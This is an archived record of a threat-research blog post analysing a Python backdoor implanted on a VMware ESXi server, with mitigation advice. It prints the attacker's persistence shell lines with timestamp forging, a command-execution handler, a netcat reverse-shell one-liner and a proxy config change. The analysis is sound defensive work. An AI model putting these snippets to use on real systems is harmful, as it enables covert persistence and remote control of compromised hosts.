{
	"id": "88080aa2-739e-4f84-ae5a-643528c6fd51",
	"created_at": "2026-04-06T00:21:12.006698Z",
	"updated_at": "2026-04-10T13:11:20.732303Z",
	"deleted_at": null,
	"sha1_hash": "111c9a9492a4045a15c9b464d82698ce6cbf6e01",
	"title": "A Custom Python Backdoor for VMWare ESXi Servers",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 253146,
	"plain_text": "A Custom Python Backdoor for VMWare ESXi Servers\r\nBy Asher Langton\r\nPublished: 2022-12-09 · Archived: 2026-04-05 19:41:52 UTC\r\nA Custom Python Backdoor for VMWare ESXi Servers\r\nIn October 2022, Juniper Threat Labs discovered a backdoor implanted on a VMware ESXi virtualization server.\r\nSince 2019, unpatched ESXi servers have been targets of ongoing in-the-wild attacks based on two vulnerabilities\r\nin the ESXi’s OpenSLP service: CVE-2019-5544 and CVE-2020-3992. Unfortunately, due to limited log retention\r\non the compromised host we investigated, we can’t be sure which vulnerability allowed hackers access to the\r\nserver. Nevertheless, the implanted backdoor is notable for its simplicity, persistence and capabilities, and to our\r\nknowledge has not been publicly documented until now.\r\nFoothold and Persistence\r\nESXi is a virtualization platform with a lightweight UNIX-like host operating system and the capability to run\r\nmany virtual machines simultaneously. While the virtual disk images for these VMs are stored on the ESXi’s\r\nphysical disks, the system files for the host OS are stored in RAM and changes are discarded on a reboot. Only a\r\nfew specific system files are automatically backed up and restored on a reboot. Among these is\r\n/etc/rc.local.d/local.sh, which is executed at startup. By default, this file is empty other than comments explaining\r\nand discouraging its use. In the case of the compromised machine we analyzed, the attacker had added the\r\nfollowing code:\r\nhttps://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers\r\nPage 1 of 5\n\n/bin/mv /bin/hostd-probe.sh /bin/hostd-probe.sh.1\r\n/bin/cat \u003c\u003c LOCAL2 \u003e\u003e /bin/hostd-probe.sh\r\n/bin/nohup /bin/python -u /store/packages/vmtools.py \u003e/dev/null 2\u003e\u00261\u0026\r\nLOCAL2\r\n/bin/cat /bin/hostd-probe.sh.1 \u003e\u003e /bin/hostd-probe.sh\r\n/bin/chmod 755 /bin/hostd-probe.sh\r\n/bin/rm /bin/hostd-probe.sh.1\r\n/bin/touch -r /usr/lib/vmware/busybox/bin/busybox /bin/hostd-probe.sh\r\nThe first 7 lines prepend, in a convoluted fashion, a single line of code to /bin/hostd-probe.sh, a system file that is\r\nexecuted automatically when the system boots . This line of code launches a Python script:\r\n/bin/nohup /bin/python -u /store/packages/vmtools.py \u003e/dev/null 2\u003e\u00261\u0026\r\nThe touch command in the final line of code resets the modification and access timestamps of /bin/hostd-probe.sh\r\nto those of a preinstalled system file, making it appear as though /bin/hostd-probe.sh had not been modified since\r\nthe system software was installed or last updated.\r\nThere are a total of 4 files installed or modified in this attack:\r\n/etc/rc.local.d/local.sh: stored in RAM, but changes are backed up and restored on reboot\r\n/bin/hostd-probe.sh: changes are stored in RAM and reapplied after a reboot\r\n/store/packages/vmtools.py: saved to the persistent disk stores used for VM disk images, logs, etc.\r\n/etc/vmware/rhttpproxy/endpoints.conf: changes are stored in RAM and reapplied after a reboot\r\nPython Backdoor\r\nWhile the Python script used in this attack is cross-platform and can be used with little or no modification on\r\nLinux or other UNIX-like systems, there are several indications that this attack was designed specifically to target\r\nESXi. The name of the file and its location, /store/packages/vmtools.py, was chosen to raise little suspicion on a\r\nvirtualization host. The file begins with a VMware copyright consistent with publicly available   examples and is\r\ntaken character-for-character from an existing Python file provided by VMware.\r\n#!/bin/python\r\n\"\"\"\r\nCopyright 2011 - 2014 VMware, Inc. All rights reserved.\r\nThis module starts debug tools\r\n\"\"\"\r\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\r\nThe Python script launches a simple webserver that accepts password-protected POST requests and can be used in\r\ntwo ways: it can run arbitrary remote commands and display the results as a webpage, or it can launch a reverse\r\nhttps://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers\r\nPage 2 of 5\n\nshell to the host and port of the attacker’s choice. This server binds to port 8008 on the local IP address 127.0.0.1\r\nand accepts 5 misleadingly named parameters:\r\nserver_namespace: password protecting the backdoor from unintended use\r\nserver_instance: either “local” (run commands directly) or “remote” (reverse shell)\r\noperation_id: command to execute (“local” only)\r\nenvelope and path_set: host and port, respectively, for the reverse shell (“remote” only)\r\nThe server first checks the MD5 hash of the provided password against a hard-coded value. If this succeeds, the\r\nexecution path splits based on the value of server_instance. If the provided value is “local”, the server executes the\r\nvalue of operation_id as a base64-encoded command and writes the output to the browser:\r\n  if action is None or action == 'local':\r\n  encoded_cmd = form.getvalue('operation_id')\r\n  if encoded_cmd is not None:\r\n  try:\r\n  cmd = str(base64.b64decode(encoded_cmd), \"utf-8\")\r\n  except binascii.Error:\r\n  return\r\n self.wfile.write(os.popen(cmd).read().encode())\r\nIf the value of server_instance is “remote”, the webserver launches a reverse shell to the host and port provided in\r\nenvelope and path_set, respectively.\r\n  if action == 'remote':\r\n  host = form.getvalue('envelope')\r\n  if host is not None:\r\n  port = form.getvalue('path_set')\r\n  if port is None:\r\n  port = '427'\r\n  cmd = 'mkfifo /tmp/tmpy_8th_nb; cat /tmp/tmpy_8th_nb | /bin/sh -i 2\u003e\u00261 | nc %s %s \u003e /\r\n subprocess.Popen(cmd, shell=True)\r\nA reverse shell is a terminal session on the compromised machine but is “reversed” in that the network connection\r\noriginates on the compromised machine.\r\nDepiction of a reverse shell.\r\nhttps://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers\r\nPage 3 of 5\n\nThis contrasts with an ordinary remote terminal session like ssh, where an external user initiates the connection to\r\na target machine in order to run shell commands. Using a reverse shell can bypass firewall restrictions and works\r\neven when the compromised machine is not directly accessible from the internet.\r\nThe reverse shell command is taken from a reverse shell one-liners cheat sheet:\r\nmkfifo /tmp/tmpy_8th_nb; cat /tmp/tmpy_8th_nb | /bin/sh -i 2\u003e\u00261 | nc \u003chost\u003e \u003cport \u003e /tmp/tmpy_8th_nb\r\nThe sequence of piped commands is somewhat more complicated than the most common reverse shell invocations\r\nand is needed to work around limitations in the netcat version available on ESXi. Note that if no port number is\r\nsupplied in the POST request, the default port used is 427. This is the standard service port for OpenSLP, the\r\nvulnerable service most likely exploited to gain access to the ESXi server and is another indication that this attack\r\nwas crafted with ESXi targets in mind.\r\nReverse Proxy\r\nWe previously noted that the malicious Python webserver binds to a 127.0.0.1, the “home” IP address that is only\r\naccessible from within the compromised machine. In order to allow remote access, the hackers changed the\r\nconfiguration of the ESXi reverse HTTP proxy. The configuration file, /etc/vmware/rhttpproxy/endpoints.conf,\r\ncontains a number of mappings from pathnames to network ports, such as:\r\n/sdk local 8307 redirect allow\r\nThis line instructs the reverse proxy to forward to port 8307 any external requests to https://\u003cserver_url/sdk/*. The\r\nattackers appended the following line to endpoints.conf, allowing external access to the malicious webserver:\r\n/\u003crandom_UUID\u003e local 8008 allow allow\r\nBecause /etc/vmware/rhttpproxy/endpoints.conf is also among the system files that are backed up and restored\r\nautomatically, this reverse proxy configuration is persistent.\r\nMitigation\r\nApply all vendor patches as soon as possible.\r\nRestrict incoming network connections to trusted hosts.\r\nCheck the contents and/or existence of the four files detailed above. By default, local.sh should contain\r\nonly comments and an exit statement.\r\nCheck all modified persistent system files for unexpected changes. This blog post explains how these files\r\nare marked for backup and how to find them.\r\nIOCs\r\nhttps://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers\r\nPage 4 of 5\n\nPlease see VirusTotal for vmtools.py and local.sh. The hashed password in vmtools.py has been redacted because\r\nit might uniquely identify the compromised server, so that file’s hash should not be used as an IOC. The\r\nmodifications to hostd-probe.sh and endpoints.conf are shown in their entirety above.\r\nSource: https://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers\r\nhttps://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers\r\nPage 5 of 5",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers"
	],
	"report_names": [
		"a-custom-python-backdoor-for-vmware-esxi-servers"
	],
	"threat_actors": [],
	"ts_created_at": 1775434872,
	"ts_updated_at": 1775826680,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/111c9a9492a4045a15c9b464d82698ce6cbf6e01.pdf",
		"text": "https://archive.orkl.eu/111c9a9492a4045a15c9b464d82698ce6cbf6e01.txt",
		"img": "https://archive.orkl.eu/111c9a9492a4045a15c9b464d82698ce6cbf6e01.jpg"
	}
}